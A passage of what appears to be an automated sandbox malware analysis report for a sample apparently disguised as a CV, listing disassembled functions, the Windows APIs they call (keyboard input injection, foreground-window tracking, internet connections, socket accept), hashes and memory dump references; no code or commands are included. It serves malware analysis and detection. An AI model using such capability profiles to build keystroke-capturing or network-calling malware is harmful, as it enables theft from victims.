                                                                          • Opcode Fuzzy Hash: d6d65208662576e48a900edc3e01a7962655cdea7ef59ca1cea98c5eb636a3b0
                                                                          • Instruction Fuzzy Hash: 1D512A75A0020DAFCF10DF68C980ABE7FB6BB55320F148669FA659B290D734ED41CB90
                                                                          Function 005CC410 Relevance: 6.1, APIs: 4, Instructions: 130windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 005CC462
                                                                          • __itow.LIBCMT ref: 005CC49C
                                                                            • Part of subcall function 005CC6E8: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 005CC753
                                                                          • SendMessageW.USER32(?,0000110A,00000001,?), ref: 005CC505
                                                                          • __itow.LIBCMT ref: 005CC55A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$__itow
                                                                          • String ID:
                                                                          • API String ID: 3379773720-0
                                                                          • Opcode ID: 0d134fc75200e723c9414f27b4f1f968b4c38b2af4641628f6b9d1e90a95ef6b
                                                                          • Instruction ID: bb2dbc5d66695e9d2c4d97710ee003e189450792923b7b71f954d0cc6e26d2c9
                                                                          • Opcode Fuzzy Hash: 0d134fc75200e723c9414f27b4f1f968b4c38b2af4641628f6b9d1e90a95ef6b
                                                                          • Instruction Fuzzy Hash: 1E418171A0060AAFDF25DF94C855FEE7FB9BF89700F004059FA09A7281DB749A45CBA1
                                                                          Function 005D390C Relevance: 6.1, APIs: 4, Instructions: 112keyboardwindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetKeyboardState.USER32(?,00000000,?,00000001), ref: 005D3966
                                                                          • SetKeyboardState.USER32(00000080,?,00000001), ref: 005D3982
                                                                          • PostMessageW.USER32(00000000,00000102,?,00000001), ref: 005D39EF
                                                                          • SendInput.USER32(00000001,?,0000001C,00000000,?,00000001), ref: 005D3A4D
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: KeyboardState$InputMessagePostSend
                                                                          • String ID:
                                                                          • API String ID: 432972143-0
                                                                          • Opcode ID: c71c1df8b2718f52c9434a1bf8e958245f0d64881b425d0706913254d191c314
                                                                          • Instruction ID: de566dce77f9fc934a6df64c19e7b712d983e430f6cbedbe97d7e07d495b4db2
                                                                          • Opcode Fuzzy Hash: c71c1df8b2718f52c9434a1bf8e958245f0d64881b425d0706913254d191c314
                                                                          • Instruction Fuzzy Hash: 3341E470A04248AAEF308F6D8819BFDBFBABB55350F08415BF4C1963C1C7B48A85D766
                                                                          Function 005FB544 Relevance: 6.1, APIs: 4, Instructions: 108COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 005FB5D1
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: InvalidateRect
                                                                          • String ID:
                                                                          • API String ID: 634782764-0
                                                                          • Opcode ID: 1db130771ccf9dea882b3610201d11a75a1ff3a12c978ce974939fc434671716
                                                                          • Instruction ID: a4c09cd7cb335d4e8ca1021fb55fa849093be7c086a05cbaf720ce43dc390b9f
                                                                          • Opcode Fuzzy Hash: 1db130771ccf9dea882b3610201d11a75a1ff3a12c978ce974939fc434671716
                                                                          • Instruction Fuzzy Hash: 01319C7460120CEBFF209F18CC89FB87F66BB46350F648902FB51D61E1DB3CA9409A91
                                                                          Function 005FD7DE Relevance: 6.1, APIs: 4, Instructions: 105windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • ClientToScreen.USER32(?,?), ref: 005FD807
                                                                          • GetWindowRect.USER32(?,?), ref: 005FD87D
                                                                          • PtInRect.USER32(?,?,005FED5A), ref: 005FD88D
                                                                          • MessageBeep.USER32(00000000), ref: 005FD8FE
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Rect$BeepClientMessageScreenWindow
                                                                          • String ID:
                                                                          • API String ID: 1352109105-0
                                                                          • Opcode ID: aea6868d699e799b5bc32275ad17d32de6f5eca2418a2877d23151ea053e2d55
                                                                          • Instruction ID: 5e9bac15cc602dd46a6ffcf5640503f43bd02e27bcaae88532c0a8ad6c2a97de
                                                                          • Opcode Fuzzy Hash: aea6868d699e799b5bc32275ad17d32de6f5eca2418a2877d23151ea053e2d55
                                                                          • Instruction Fuzzy Hash: 34417B70A0021DEFCB11DF58D884BB9BBF7BB46391F1885A9E6149B261D334E945CB60
                                                                          Function 005D3A61 Relevance: 6.1, APIs: 4, Instructions: 104keyboardwindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetKeyboardState.USER32(?,76C1C0D0,?,00008000), ref: 005D3AB8
                                                                          • SetKeyboardState.USER32(00000080,?,00008000), ref: 005D3AD4
                                                                          • PostMessageW.USER32(00000000,00000101,00000000,?), ref: 005D3B34
                                                                          • SendInput.USER32(00000001,?,0000001C,76C1C0D0,?,00008000), ref: 005D3B92
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: KeyboardState$InputMessagePostSend
                                                                          • String ID:
                                                                          • API String ID: 432972143-0
                                                                          • Opcode ID: e0f0f2a15e6b8b4a7ddd9329b25027b06f3ded21d478bf10e4e308b7ea13aafc
                                                                          • Instruction ID: b15304090234090d2fb019a95db2b8d5e1e46092defe8fabb9a5b77827e40e4d
                                                                          • Opcode Fuzzy Hash: e0f0f2a15e6b8b4a7ddd9329b25027b06f3ded21d478bf10e4e308b7ea13aafc
                                                                          • Instruction Fuzzy Hash: 0231E230A00658AEFF319B6C8819BFE7FAABB95310F04055BE481973D1C7748B85D762
                                                                          Function 005C4004 Relevance: 6.1, APIs: 4, Instructions: 96COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _LocaleUpdate::_LocaleUpdate.LIBCMT ref: 005C4038
                                                                          • __isleadbyte_l.LIBCMT ref: 005C4066
                                                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 005C4094
                                                                          • MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,?,00000000,?,00000000,?,?,?), ref: 005C40CA
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
                                                                          • String ID:
                                                                          • API String ID: 3058430110-0
                                                                          • Opcode ID: 417727535f9f7f1e476a154b9397d3c16e87145e1c9e0f5d5e8e59f47a947399
                                                                          • Instruction ID: a2309e97a532cf6470b6b36af17a75e01bcd59f19219c45f88f8a39d2d7cd8d5
                                                                          • Opcode Fuzzy Hash: 417727535f9f7f1e476a154b9397d3c16e87145e1c9e0f5d5e8e59f47a947399
                                                                          • Instruction Fuzzy Hash: D031AF31640246EFDB219FA4C859FAA7FA5BF40310F15842DEA65AB1A1E731E890DF90
                                                                          Function 005F7CA5 Relevance: 6.1, APIs: 4, Instructions: 93COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetForegroundWindow.USER32 ref: 005F7CB9
                                                                            • Part of subcall function 005D5F55: GetWindowThreadProcessId.USER32(?,00000000), ref: 005D5F6F
                                                                            • Part of subcall function 005D5F55: GetCurrentThreadId.KERNEL32 ref: 005D5F76
                                                                            • Part of subcall function 005D5F55: AttachThreadInput.USER32(00000000,?,005D781F), ref: 005D5F7D
                                                                          • GetCaretPos.USER32(?), ref: 005F7CCA
                                                                          • ClientToScreen.USER32(00000000,?), ref: 005F7D03
                                                                          • GetForegroundWindow.USER32 ref: 005F7D09
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
                                                                          • String ID:
                                                                          • API String ID: 2759813231-0
                                                                          • Opcode ID: 094bb2b39db1715ec1dc16c973200a08c62b825b97f94fed4a1a7b86e15b5a3d
                                                                          • Instruction ID: 2d76ecda11303fa62c5eb091529535c09f062520be9c081eea5c4bd83e17adea
                                                                          • Opcode Fuzzy Hash: 094bb2b39db1715ec1dc16c973200a08c62b825b97f94fed4a1a7b86e15b5a3d
                                                                          • Instruction Fuzzy Hash: 16311E71900109AFDB10EFA9C8859EFBBF9FF99310B108466E815E7211EA359E058FA0
                                                                          Function 005FF1D7 Relevance: 6.1, APIs: 4, Instructions: 80windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005AB34E: GetWindowLongW.USER32(?,000000EB), ref: 005AB35F
                                                                          • GetCursorPos.USER32(?), ref: 005FF211
                                                                          • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0060E4C0,?,?,?,?,?), ref: 005FF226
                                                                          • GetCursorPos.USER32(?), ref: 005FF270
                                                                          • DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0060E4C0,?,?,?), ref: 005FF2A6
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                                          • String ID:
                                                                          • API String ID: 2864067406-0
                                                                          • Opcode ID: 0a7948d84f3c9763a82d69a9ed1f212a01ee272fe17debce5047c69748a95482
                                                                          • Instruction ID: 7ff1572cc71499ceb6e5eb665b68a22aced60668cb7ec9b41e746b8db55c293e
                                                                          • Opcode Fuzzy Hash: 0a7948d84f3c9763a82d69a9ed1f212a01ee272fe17debce5047c69748a95482
                                                                          • Instruction Fuzzy Hash: EC218C3D500018AFDB258F94CC58EFE7FA6FF4A310F488469FA054B6A1D3749950EBA0
                                                                          Function 005E431C Relevance: 6.1, APIs: 4, Instructions: 78networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 005E4358
                                                                            • Part of subcall function 005E43E2: InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 005E4401
                                                                            • Part of subcall function 005E43E2: InternetCloseHandle.WININET(00000000), ref: 005E449E
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Internet$CloseConnectHandleOpen
                                                                          • String ID:
                                                                          • API String ID: 1463438336-0
                                                                          • Opcode ID: 9eb11c374121d27abfa56a91f256b9a117a7a7909fd4c98da62abdd934d68b0b
                                                                          • Instruction ID: fdd37396199620eaac1d0bbdfdb5e367e17a2718ebe8a400969792bfdca7fdec
                                                                          • Opcode Fuzzy Hash: 9eb11c374121d27abfa56a91f256b9a117a7a7909fd4c98da62abdd934d68b0b
                                                                          • Instruction Fuzzy Hash: 1321F671200741BFEB199F61DC04FBBBFAAFF88710F14481AFA9596590D7719860ABA0
                                                                          Function 005E8A7F Relevance: 6.1, APIs: 4, Instructions: 69networkCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 005E8AE0
                                                                          • __WSAFDIsSet.WSOCK32(00000000,00000001), ref: 005E8AF2
                                                                          • accept.WSOCK32(00000000,00000000,00000000), ref: 005E8AFF
                                                                          • WSAGetLastError.WSOCK32(00000000), ref: 005E8B16
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: ErrorLastacceptselect
                                                                          • String ID:
                                                                          • API String ID: 385091864-0
                                                                          • Opcode ID: 0cf588c7e95f1961c371240cef33b69cedd16c773d4bd569fdb7d3dc019cde51
                                                                          • Instruction ID: 363624f6c437b9bd531585bd986745dc70bfdfc0b05de84a5dbdbcf3a986e96f
                                                                          • Opcode Fuzzy Hash: 0cf588c7e95f1961c371240cef33b69cedd16c773d4bd569fdb7d3dc019cde51
                                                                          • Instruction Fuzzy Hash: 90218471A00124AFC7159F69C885ADE7FEDEF4A350F04816AF849D7290DB7499418F90
                                                                          Function 005F8A37 Relevance: 6.1, APIs: 4, Instructions: 69COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetWindowLongW.USER32(?,000000EC), ref: 005F8AA6
                                                                          • SetWindowLongW.USER32(?,000000EC,00000000), ref: 005F8AC0
                                                                          • SetWindowLongW.USER32(?,000000EC,00000000), ref: 005F8ACE
                                                                          • SetLayeredWindowAttributes.USER32(?,00000000,?,00000002), ref: 005F8ADC
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: Window$Long$AttributesLayered
                                                                          • String ID:
                                                                          • API String ID: 2169480361-0
                                                                          • Opcode ID: dad90845c3eeaae8d95c883f7e9e0a6bb6015e26e7aebb6c265913537923bec5
                                                                          • Instruction ID: 413aab5374230e9867c83bed008bd6c53a37e5617daee9018e1a4cf330181791
                                                                          • Opcode Fuzzy Hash: dad90845c3eeaae8d95c883f7e9e0a6bb6015e26e7aebb6c265913537923bec5
                                                                          • Instruction Fuzzy Hash: 2C118131305116AFDB04AB18CC09FBE7B99FF85320F18811AF956C72E1CB74AC008794
                                                                          Function 005D0AA6 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 68stringCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 005D1E68: lstrlenW.KERNEL32(?,00000002,?,?,000000EF,?,005D0ABB,?,?,?,005D187A,00000000,000000EF,00000119,?,?), ref: 005D1E77
                                                                            • Part of subcall function 005D1E68: lstrcpyW.KERNEL32(00000000,?,?,005D0ABB,?,?,?,005D187A,00000000,000000EF,00000119,?,?,00000000), ref: 005D1E9D
                                                                            • Part of subcall function 005D1E68: lstrcmpiW.KERNEL32(00000000,?,005D0ABB,?,?,?,005D187A,00000000,000000EF,00000119,?,?), ref: 005D1ECE
                                                                          • lstrlenW.KERNEL32(?,00000002,?,?,?,?,005D187A,00000000,000000EF,00000119,?,?,00000000), ref: 005D0AD4
                                                                          • lstrcpyW.KERNEL32(00000000,?,?,005D187A,00000000,000000EF,00000119,?,?,00000000), ref: 005D0AFA
                                                                          • lstrcmpiW.KERNEL32(00000002,cdecl,?,005D187A,00000000,000000EF,00000119,?,?,00000000), ref: 005D0B2E
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: lstrcmpilstrcpylstrlen
                                                                          • String ID: cdecl
                                                                          • API String ID: 4031866154-3896280584
                                                                          • Opcode ID: 6f9d4999993b4a3c84336255ceec5a8016b3347ec9d85a75fa40481b7267f951
                                                                          • Instruction ID: efc649dc004209fc7d6ff552f57863896f410d51e90e803ce41e9ea9dbe2afb9
                                                                          • Opcode Fuzzy Hash: 6f9d4999993b4a3c84336255ceec5a8016b3347ec9d85a75fa40481b7267f951
                                                                          • Instruction Fuzzy Hash: A7118436204305AFDB259F78DC49E7E7BA9FF45354F80506BE806CB290EB719850C7A1
                                                                          Function 005C2F96 Relevance: 6.1, APIs: 4, Instructions: 67COMMONLIBRARYCODE
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _free.LIBCMT ref: 005C2FB5
                                                                            • Part of subcall function 005B395C: __FF_MSGBANNER.LIBCMT ref: 005B3973
                                                                            • Part of subcall function 005B395C: __NMSG_WRITE.LIBCMT ref: 005B397A
                                                                            • Part of subcall function 005B395C: RtlAllocateHeap.NTDLL(013B0000,00000000,00000001,00000001,00000000,?,?,005AF507,?,0000000E), ref: 005B399F
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: AllocateHeap_free
                                                                          • String ID:
                                                                          • API String ID: 614378929-0
                                                                          • Opcode ID: 9328361175fc969bc276eea16ba4574688c794804997c926fe0ed242eeb20557
                                                                          • Instruction ID: b789e903380af904cb798116d4a29bcc476cff5fe085379625accfd5eca86bdc
                                                                          • Opcode Fuzzy Hash: 9328361175fc969bc276eea16ba4574688c794804997c926fe0ed242eeb20557
                                                                          • Instruction Fuzzy Hash: 5811A73250961BAFDB313BB0AC0DBA93FA4BF84360F24992DF859A6151DB30DD40DA90
                                                                          Function 005AEB83 Relevance: 6.1, APIs: 4, Instructions: 65timewindowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 005AEBB2
                                                                            • Part of subcall function 005951AF: _memset.LIBCMT ref: 0059522F
                                                                            • Part of subcall function 005951AF: _wcscpy.LIBCMT ref: 00595283
                                                                            • Part of subcall function 005951AF: Shell_NotifyIconW.SHELL32(00000001,?), ref: 00595293
                                                                          • KillTimer.USER32(?,00000001,?,?), ref: 005AEC07
                                                                          • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 005AEC16
                                                                          • Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00603C88
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_590000_CV_ Filipa Barbosa.jbxd
                                                                          Similarity
                                                                          • API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
                                                                          • String ID:
                                                                          • API String ID: 1378193009-0
                                                                          • Opcode ID: 3316b9476beba84ee7061e69e621d67c999afd922ab1c20ed703335d927f5367
                                                                          • Instruction ID: 630b471d8aadefede56e81e9143ae65740e2db93f568a7b5a3f116aeaa74155b
                                                                          • Opcode Fuzzy Hash: 3316b9476beba84ee7061e69e621d67c999afd922ab1c20ed703335d927f5367
                                                                          • Instruction Fuzzy Hash: 0921D7705047949FF7379B288859BEBBFEDAB02318F04048DE68A962C1C7742A84CB51
                                                                          Function 005D058F Relevance: 6.1, APIs: 4, Instructions: 64registryCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetModuleFileNameW.KERNEL32(?,?,00000104,00000000,00000000), ref: 005D05AC
                                                                          • LoadTypeLibEx.OLEAUT32(?,00000002,?), ref: 005D05C7
                                                                          • RegisterTypeLib.OLEAUT32(?,?,00000000), ref: 005D05DD
                                                                          • FreeLibrary.KERNEL32(?), ref: 005D0632
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.1519273860.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true
                                                                          • Associated: 00000000.00000002.1519256782.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000061D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519319907.000000000063E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519358101.000000000064A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.1519373205.0000000000654000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
